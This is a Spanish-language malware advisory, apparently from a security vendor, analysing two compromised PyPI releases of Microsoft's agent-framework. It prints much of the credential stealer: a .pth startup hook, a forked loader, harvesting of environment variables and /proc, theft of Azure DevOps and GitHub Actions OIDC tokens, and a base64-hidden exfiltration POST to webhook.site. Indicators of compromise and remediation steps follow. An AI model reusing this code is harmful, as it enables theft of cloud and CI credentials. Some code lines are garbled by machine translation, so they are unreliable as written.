En resumen:
agent-framework Las versiones 1.26.1 y 1.26.2, dos versiones maliciosas del metapaquete de Microsoft Agent Framework en PyPI publicadas con 33 minutos de diferencia el 17 de noviembre de 2026, ejecutan un programa de robo de credenciales cada vez que se inicia Python, dirigido a los secretos de Azure, Azure DevOps y GitHub Actions. Ambas han sido eliminadas de PyPI. Fijar agent-framework==1.26.0 y actualizar todas las claves secretas en cualquier equipo en el que se haya instalado cualquiera de las dos versiones.
Quiénes están afectados
Te ves afectado si has instalado agent-framework 1.26.1 o 1.26.2 entre las 20:35 UTC y, aproximadamente, las 21:20 UTC del 17 de noviembre de 2026, ya sea directamente o a través de un requisito poco estricto como agent-framework>=1.26. El paquete registra unas 190 000 descargas al mes, por lo que incluso un intervalo de 45 minutos supone una cantidad considerable.
CI es donde más duele. Una compilación en pipeline o en contenedor que se ejecutó en una instalación nueva durante ese periodo ejecutó el programa malicioso con todo aquello a lo que tenía acceso la tarea. En Azure DevOps, eso significa que SYSTEM_ACCESSTOKEN y las conexiones de servicio del pipeline. En GitHub Actions, la versión 1.26.2 recupera el token OIDC en cualquier flujo de trabajo que utilice id-token: write pueden solicitar. También quedan expuestas las portátiles de los desarrolladores y las máquinas virtuales de Azure a las que se ha asociado una identidad gestionada.
Detectarlo con Aikido Security
Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.
Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.
Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.
Cómo solucionarlo
- Consulta con
pip show agent-framework, y buscaagent_framework_meta.pthoaf_runtime_diag.pthen tupaquetes del sitiodirectorios, incluidas las cachés de CI y las imágenes de contenedores creadas desde el 17 de noviembre. - Pin
agent-framework==1.26.0y reconstruir los entornos afectados. - Considera como robado cualquier dato confidencial al que la máquina pudiera acceder. Esto incluye los tokens de acceso personal y las conexiones de servicio de Azure DevOps, las credenciales de entidades de servicio de Azure, los tokens de GitHub, npm, PyPI y Hugging Face, las credenciales del registro de Docker y cualquier otro dato que se encuentre en
.envarchivos. - Revisa los registros de inicio de sesión de Entra ID correspondientes a los sujetos de servicio y las credenciales federadas que utilizan tus pipelines y flujos de trabajo.
- Busca en los registros de tu proxy y DNS las conexiones a
webhook[.]site.
Si eliminas el paquete, se detendrán las ejecuciones futuras, pero no se anulará nada de lo que ya se haya enviado.
Resumen
El 17 de noviembre de 2026, Microsoft... agent-framework El paquete de PyPI fue vulnerado. A las 20:35 UTC, apareció la versión 1.26.1, que contenía un programa para robar credenciales que se ejecuta cada vez que se inicia Python, independientemente de si algún módulo importa el paquete o no, y envía claves secretas de la nube y de la integración continua (CI) a una URL de webhook.site. agent-framework es el metapaquete para Marco de trabajo de Microsoft Agent, el SDK de Python de Microsoft para crear agentes de IA, por lo que los equipos con más probabilidades de tenerlo instalado son aquellos que cuentan con credenciales de Azure que merecen la pena robar.
Desmontamos el sistema mientras aún estaba activo. Entonces, el atacante volvió a la carga. Treinta y tres minutos después de la primera subida, la versión 1.26.2 ya estaba en PyPI y la 1.26.1 había desaparecido, sustituida por el mismo programa de robo bajo un nuevo nombre de archivo y con un nuevo objetivo en GitHub Actions. A las 21:20 UTC, ambas versiones habían sido eliminadas y la 1.26.0 volvía a ser la última versión disponible.
La versión 1.26.1 parece una actualización rutinaria
El atacante hizo que el primer cambio fuera mínimo. La versión 1.26.1 tiene el mismo archivo README y el mismo agent-framework-core[all]==1.26.0 La versión 1.26.0, que se publicó cinco días antes, por lo que una solicitud de incorporación de cambios (PR) del bot de dependencias que la actualizara parecería una acción rutinaria. Al comparar las dos versiones, se detectan dos archivos nuevos y uno modificado.
agent_framework_meta.pth: no estaba presente en la versión 1.26.0; se añadió en la versión 1.26.1agent_framework_meta/_telemetry.py: no estaba presente en la versión 1.26.0; se añadió en la versión 1.26.1agent_framework_meta/__init__.py: 853 bytes en la versión 1.26.0, 994 bytes en la versión 1.26.1 con el cargador añadido
El empaquetado también delata la verdad. El proceso de lanzamiento de Microsoft publica este paquete como un archivo «wheel» más una distribución de código fuente (sdist), y los dos archivos de la versión 1.26.0 se subieron con 40 segundos de diferencia. La versión 1.26.1 solo tiene un archivo «wheel». En su interior, el RUEDA El archivo conserva la marca de tiempo provisional de la compilación original, mientras que METADATOS, RÉCORD, y todos los archivos editados y añadidos llevan la fecha del 17 de noviembre. Los dos archivos insertados también son modificables por todos los usuarios (rw-rw-rw-), a diferencia del resto del paquete. Esto encaja con alguien que haya descomprimido un «wheel» legítimo, lo haya editado manualmente y haya subido el archivo reempaquetado con credenciales de publicación válidas. Aún se desconoce cómo consiguió esas credenciales.
Cómo consigue ejecutarse el programa malicioso
El gancho .pth
Cuando se inicia Python, su módulo del sitio lee cada .pth archivo en paquetes del sitio. Estos archivos sirven para añadir directorios a la ruta de importación, pero cualquier línea que comience por importar se ejecuta. Los «wheels» nunca ejecutan código durante la instalación, por lo que, en el caso de un «wheel», un .pth El archivo es lo más parecido a un npm postinstall hook, y en cierto modo es peor. Se ejecuta cada vez que se inicia el intérprete en ese entorno, lo que significa que tu código nunca tiene que importar agent_framework En absoluto. Correr pytest o pip eso basta.
El archivo de la versión 1.26.1 consta de una sola línea:
import agent_framework_metaEsa importación se resuelve en agent_framework_meta/__init__.py, donde el atacante añadió un cargador justo debajo de la consulta de la versión legítima y lo envolvió para que nunca pudiera generar un error:
# Hook ligero para el diagnóstico en tiempo de ejecución.
try:
from . import _telemetría como _telemetry
_telemetry._start()
excepto Excepción:
passEjecutar en segundo plano
_start() garantiza que la carga útil se ejecute una vez por árbol de procesos y que nunca ralentice el proceso de Python que la ha activado:
def _start():
si os.environ.get("_AF_TEL"):
return
os.environ["_AF_TEL"] = "1"
intentar:
si hasattr(os, "fork"):
pid = os.fork()
si pid == 0:
intentar:
os.setsid()
excepto Excepción:
pass
_run()
os._exit(0)
return
excepto Excepción:
pass
intentar:
import threading
t = threading.Thread(target=_run)
t.daemon = True
t.start()
excepto Excepción:
passLos procesos hijos heredan el _AF_TEL_ variable de entorno, que impide que cada subproceso que genera Python vuelva a ejecutar el programa de robo. En Linux y macOS, crea un proceso secundario y llama a setsid(), por lo que el proceso secundario se ejecuta en su propia sesión y sigue funcionando una vez que el comando haya finalizado. En Windows, donde no existe bifurcación, se recurre a un hilo de fondo.
Lo que recoge el ladrón
Variables de entorno, incluidas las de otros procesos»
El programa malicioso copia cualquier variable de entorno cuyo nombre contenga alguna de las muchas subcadenas de una larga lista, entre las que se encuentran: TOKEN, SECRETO, CLAVE, AZURE, AWS, GITHUB, HF_, OPENAI, FUNDICIÓN, SISTEMA, COMPILACIÓN, PIP, NPM, y NUGET. A continuación, dice lo siguiente: /proc/<pid>/environ para un máximo de 300 procesos en ejecución:
para e en glob.glob("/proc/[0-9]*/environ")[:300]:
intenta:
raw = open(e, "rb").read().decode("utf-8", "replace")
hits = []
for kv in raw.split("\x00"):
si any(x en kv.upper() para x en ("TOKEN",«SECRET»,«PASSWORD»,«KEY=»,«ENDPOINT_AUTH»,"SYSTEM_ACCESSTOKEN",«IDENTITY_HEADER»)):
hits.append(kv[:2000])En un ejecutor de CI, que accede a los secretos que posee el propio proceso del agente de compilación, más allá de lo que se haya pasado al paso de Python.
Archivos de credenciales en el disco
Recopila una lista de ubicaciones habituales de credenciales y lee hasta 60 archivos coincidentes de menos de 256 KB cada uno, entre los que se incluyen:
- Estado de Azure CLI en
~/.azure/*.json pip.conf,.npmrc,.netrc, y.git-credentials- De Docker
config.json - Tokens de Hugging Face
- Agente de Azure DevOps
.credencialesarchivos en la sección_trabajodirectorios yvss-agentinstalaciones .envy archivos JSON en/appy/espacio de trabajo, las rutas de acceso habituales de las aplicaciones en contenedores
Tokens de pipeline de Azure DevOps
Si la carga útil se encuentra dentro de un pipeline de Azure DevOps, intenta generar un token de OpenID Connect (OIDC):
at = os.environ.get("SYSTEM_ACCESSTOKEN") or os.environ.get("SYSTEM_ACCESSTOKEN") or ""
oe = os.environ.get("SYSTEM_OIDCREQUESTURI") or ""
if oe and at:
for suffix, body in [("?api-version=7.1", {"scopes": ["api://AzureADTokenExchange"]}), ("?api-version=7.1", {})]:
try:
req = urllib.request.Request(oe + suffix, data=json.dumps(body).encode(), headers={"Authorization": "Bearer " + at, "Content-Type": "application/json"}, method="POST")
out["ado"]["oidc"] = urllib.request.urlopen(req, timeout=15).read().decode("utf-8", "replace")[:20000]Los pipelines que se implementan en Azure mediante la federación de identidades de cargas de trabajo no almacenan ningún secreto de cliente. El pipeline solicita un token OIDC de corta duración a Azure DevOps y lo intercambia por un identificador de « Microsoft Entra » a cambio de un token de acceso de Azure como entidad de servicio de la conexión de servicio. Un token OIDC robado permite a un atacante realizar ese mismo intercambio y actuar con los derechos que tenga la conexión de servicio. La solicitud en este caso no pasa un serviceConnectionId, por lo que este paso podría fallar dependiendo de la configuración del proceso. SYSTEM_ACCESSTOKEN Ya está configurado mediante la variable de entorno «sweep» y, por sí solo, permite acceder a los repositorios, artefactos y pipelines de la organización.
Tokens de identidad gestionados
A continuación, solicita al punto final de identidad local tokens de acceso para 12 recursos de Azure, entre los que se incluyen Azure Resource Manager, Microsoft Graph, Key Vault, Storage, Cognitive Services, Azure Machine Learning, Azure AI Foundry, Container Registry y Azure DevOps (499b84ac-1321-427f-aa17-267ca6975798). En App Service y Functions utiliza IDENTITY_ENDPOINT con el atributo IDENTITY_HEADER secreto. En cualquier otro caso, se recurre al Servicio de metadatos de instancias de Azure (IMDS) en 169.254.169.254, que entrega tokens a cualquier proceso de una máquina virtual a la que se haya asociado una identidad gestionada. Además, recoge los metadatos de la instancia de la máquina virtual.
Enviarlo a casa
Todo se envía en una sola solicitud POST. El destino se codifica en base64 en el código fuente para evitar que se detecte con un simple «grep»:
_ENC = "aHR0cHM6Ly93ZWJob29rLnNpdGUvZDM4MWZkODAtZWM2Mi00MmFkLThmNWMtZDFiMTUxMDNjOWJi"
# se decodifica como https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bbdef _post(tag, data):
try:
import urllib.request
u = base64.b64decode(_ENC).decode()
body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
req = urllib.request.Request(u + "?t=" + tag, data=body, headers={"Content-Type": "application/octet-stream", "User-Agent": "af-runtime-diagnostics/1"})
urllib.request.urlopen(req, timeout=25).read()
except Exception:
passLos datos se serializan en formato JSON, se comprimen con zlib y se codifican en base64, y a continuación se envían con un User-Agent de af-runtime-diagnostics/1 para mantener la tapadera de la telemetría. Webhook.site es un servicio gratuito de inspección de solicitudes, por lo que el atacante no necesitó ninguna infraestructura propia. Leyeron los datos robados directamente desde la página del token.
Treinta y tres minutos después, 1,26,2
A las 21:08 UTC se publicó la versión 1.26.2, de nuevo como un archivo «wheel» sin «sdist», y la versión 1.26.1 se retiró de PyPI aproximadamente a la misma hora. La nueva versión parece haber sido creada por un atacante que esperaba que alguien comparara los cambios agent_framework_meta para descubrir el primero. __init__.py vuelve a ser el archivo limpio, idéntico al de la versión 1.26.0, y la carga útil se ha trasladado del directorio del paquete a un módulo de nivel superior con un .pth archivo cuyo nombre coincida.
- Gancho inicial:
agent_framework_meta.pthen la versión 1.26.1,af_runtime_diag.pthen la versión 1.26.2 - Carga útil:
agent_framework_meta/_telemetry.pyen la versión 1.26.1,af_runtime_diag.pyen la versión 1.26.2 - Cargador: añadido a
agent_framework_meta/__init__.pyen la versión 1.26.1,_start()llamado en la parte inferior deaf_runtime_diag.pyen la versión 1.26.2 - User-Agent:
af-runtime-diagnostics/1en la versión 1.26.1,diagnósticos-en-tiempo-de-ejecución/1en la versión 1.26.2 - Límite del archivo de credenciales: 60 en la versión 1.26.1, 80 en la versión 1.26.2
- Robo de credenciales OIDC en GitHub Actions: no en la versión 1.26.1, sí en la 1.26.2
Por lo demás, el código de recopilación y exfiltración es el mismo, hasta el _ENC la cadena y el token de webhook.site. La verdadera novedad es un bloque destinado a GitHub Actions:
# GitHub Actions OIDC (Azure federated credential)
try:
u = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_URL") or ""
t = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_TOKEN") or os.environ.get("ACTIONS_RUNTIME_TOKEN") or ""
if u and t:
for aud in ("api://AzureADTokenExchange", "https://management.azure.com/"):
try:
sep = "&" if "?" in u else "?"
uu = u + sep + "audience=" + urllib.parse.quote(aud, safe="")
req = urllib.request.Request(uu, headers={"Authorization": "Bearer " + t, "Accept": "application/json", "User-Agent": "runtime-diagnostics/1"})
out["gh_oidc"][aud] = urllib.request.urlopen(req, timeout=12).read().decode("utf-8", "replace")[:20000]Cuando se concede un flujo de trabajo de GitHub Actions id-token: write, el corredor muestra ACTIONS_ID_TOKEN_REQUEST_URL y ACTIONS_ID_TOKEN_REQUEST_TOKEN de modo que el flujo de trabajo pueda solicitar un token OIDC. Los flujos de trabajo que inician sesión en Azure con un token de intercambio de credenciales federadas mediante Entra ID, el mismo truco que utiliza el código de Azure DevOps. Una vez en posesión del token, un atacante puede realizar el intercambio por sí mismo y actuar como la identidad de Azure del flujo de trabajo. La versión 1.26.2 también amplió el alcance para incluir, añadiendo ACCIONES, OIDC, CORREDOR, y ARM_ a la variable de entorno «filter» y añadiendo el del runner alojado en GitHub _temp directorio y la carpeta de Azure CLI a la lista de archivos.
A quién va dirigido
La primera versión se centró en Azure DevOps y las cargas de trabajo alojadas en Azure. Media hora más tarde, la segunda añadió flujos de trabajo de GitHub Actions que se implementan en Azure. Ambas listas coinciden con los entornos en los que los usuarios de Agent Framework ejecutan su código, y la lista de recursos abarca los servicios de IA de Microsoft en los que se basan, como Azure AI Foundry y Azure Machine Learning. Una versión de parche con una fijación de dependencias sin cambios es, además, lo más poco sospechoso que puede ser una actualización. Cualquier proyecto con un requisito tan vago como agent-framework>=1.26 Lo incorporará en la próxima instalación, y Dependabot o Renovate estarán encantados de abrir la solicitud de incorporación de cambios.
El .pth Este truco no es nuevo. El ataque a LiteLLM de marzo de 2026 utilizó el mismo gancho de inicio para ejecutar su carga útil cada vez que se iniciaba Python, y los SDK de IA siguen siendo objetivos atractivos porque los equipos en los que se instalan contienen credenciales de proveedores de servicios en la nube y de modelos. Python sigue sin tener una opción para desactivar .pth La ejecución está desactivada, por lo que el hook sigue activándose mucho después de que nadie haya dejado de consultar el registro de instalación.
También cabe destacar la rápida publicación de una versión de corrección. Un atacante que aún disponga de acceso de publicación puede sustituir una versión maliciosa por otra antes de que la mayoría de los equipos puedan bloquear la primera, por lo que una corrección basada en un único nombre de archivo o hash ya queda obsoleta.
Indicadores de compromiso
Indicadores de red
- Endpoint de exfiltración:
https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb?t=telemetry - User-Agent (1.26.1):
af-runtime-diagnostics/1 - User-Agent (1.26.2):
diagnósticos-en-tiempo-de-ejecución/1
Indicadores del anfitrión
agent_framework_meta.pthoaf_runtime_diag.pthESpaquetes del sitioaf_runtime_diag.pyen el nivel superior depaquetes del sitio- Variable de entorno
_AF_TEL=1conjuntos en procesos de Python
Paquetes afectados
- agent-framework@1.26.1
- agent-framework@1.26.2
Hash de archivos (SHA256), 1.26.1
agent_framework-1.26.1-py3-none-any.whl:d27fa34414e6201d5e03e559ef634f020057554d7b3f4898dd5d7cd3e989e110agent_framework_meta/_telemetry.py:39fa329f2a93f734b0bb8f5adb203ea3331d1ae479832a5015a54cb17aabd663agent_framework_meta/__init__.py:c275ccbe520ef3c0f02dc6a35389e427f9f1b4e0b12e140cd7bf7179ce143f02agent_framework_meta.pth:21f28e8517a10ffe431f8d68f5875c85eca4001ae6d118322b0a41873998eb5e
Hashes de archivos (SHA256), 1.26.2
agent_framework-1.26.2-py3-none-any.whl:3d20a8bc91351a9a16b6db243b848ceca0206b7a8623b02d2af553a9c9f7e0a9af_runtime_diag.py:54d885b7d7161c9ed96489c66364c4bfbf635929166843bba10d97d46b5a2e1faf_runtime_diag.pth:325e7e9f0ec94e41ad1a1b7a3f18a6b8b5bffece2e2b97b8d3369eb967452f93



